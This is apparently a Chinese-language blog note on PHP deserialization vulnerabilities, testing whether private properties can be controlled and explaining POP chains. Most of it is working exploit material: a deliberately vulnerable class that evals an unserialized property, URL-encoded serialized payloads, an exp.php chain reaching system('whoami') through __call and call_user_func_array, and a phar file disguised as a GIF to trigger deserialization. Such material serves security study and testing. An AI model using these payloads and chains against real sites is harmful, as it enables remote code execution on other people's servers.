php反序列化
之前听漏洞银行的一个女生讲php反序列化。她说了一句。php反序列话找public变量。
导致我以为必须php反序列化。可控的变量必须是public or protected。private私有的变量不可以。
今天测试了一下。private变量也是也可以的。
class Test{ private $test; public function __construct($test) { $this->test = $test; } public function __destruct() { eval($this->test); } }unserialize($_GET['a']);
payload1:
class Test //O%3A4%3A%22Test%22%3A1%3A%7Bs%3A10%3A%22%00Test%00test%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D { private $test; public function __construct($test){ $this->test = $test; } } $a = new Test('phpinfo();'); echo urlencode(serialize($a));
payload2:
class Test //O%3A4%3A%22Test%22%3A1%3A%7Bs%3A10%3A%22%00Test%00test%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D { private $test; public function __construct($test){ $this->test = 'phpinfo()'; } } $a = new Test(); echo urlencode(serialize($a));
paload3:
class Test //O%3A4%3A%22Test%22%3A1%3A%7Bs%3A10%3A%22%00Test%00test%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D { private $test='phpinfo();'; } $a = new Test(); echo urlencode(serialize($a));
payload4:这样构造的pyload的是不行的。因为变量是private属性。这种情况的pyload只能是public.
class Test { private $test; public function __construct($test){ $this->test = $test; } } $a = new Test(); $a->test='phpinfo();'; echo urlencode(serialize($a)); //O%3A4%3A"Test"%3A1%3A%7Bs%3A10%3A"%00Test%00test"%3Bs%3A9%3A"phpinfo%28%29"%3B%7D
以上是对序列化变量覆盖的常用4中方法。其中反序列化时是不会执行__construct这个函数的。
总结:
php反序列的时候可控的变量可以是:public、private、protected
其中php反序列化形成的关键:
1、存在反序列化可控的变量
2、找危险函数的类(当找不到危险函数的类的时候,可以尝试利用内置的类构造。http://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html)
3、形成pop链(不一定都是变量覆盖,可以覆盖其方法。http://www.cnblogs.com/iamstudy/articles/php_object_injection_pop_chain.html)
eg:2.php 2.php中__destruct中有events和event俩个可控变量。可以将events赋值给test2类,因为test2中没有fire方法,就会调用test2类中的__call方法
test2中的formatters变量可控。
include("./3.php"); class test1 { protected $events; protected $event; public function __construct($events, $event) { $this->event = $event; $this->events = $events; } public function __destruct() { $this->events->fire($this->event); } } unserialize($_GET['a']);
3.php
<?php class test2 { protected $formatters; function __construct($forma){ $this->formatters = $forma; } public function format($formatter, $arguments = array()) { return call_user_func_array($this->getFormatter($formatter), $arguments); } public function getFormatter($formatter) { if (isset($this->formatters[$formatter])) { return $this->formatters[$formatter]; } } public function __call($method, $attributes) { return $this->format($method, $attributes); } }
exp.php
<?php class test1 { protected $events; protected $event; public function __construct($events, $event) { $this->event = $event; $this->events = $events; } public function __destruct() { $this->events->fire($this->event); //让fire可控制 } } class test2 { protected $formatters; function __construct($forma){ $this->formatters = $forma; } // fire whoami public function format($formatter, $arguments = array()) { system whoami return call_user_func_array($this->getFormatter($formatter), $arguments); } public function getFormatter($formatter) { // ['fire'=>'system'] if (isset($this->formatters[$formatter])) { return $this->formatters[$formatter]; //system } } public function __call($method, $attributes) { //fire whoami return $this->format($method, $attributes); } } $fs = array("fire"=>"system"); $gen = new test2($fs); $pb = new test1($gen,"whoami"); echo urlencode(serialize($pb)); // call_user_func('system','whoami');
这几个函数参数变量可控也可能导致反序列化漏洞
include('./1.phar'); file_exists('phar://./1.phar'); file_get_contents('phar://./1.phar');
生成phar
$fs = array("fire"=>"system"); $gen = new test2($fs); $pb = new test1($gen,"whoami"); $p = new Phar('./1.phar', 0); $p->startBuffering(); $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); $p->setMetadata($pb); $p->addFromString('1.txt','text'); $p->stopBuffering(); rename('./1.phar', '3.gif');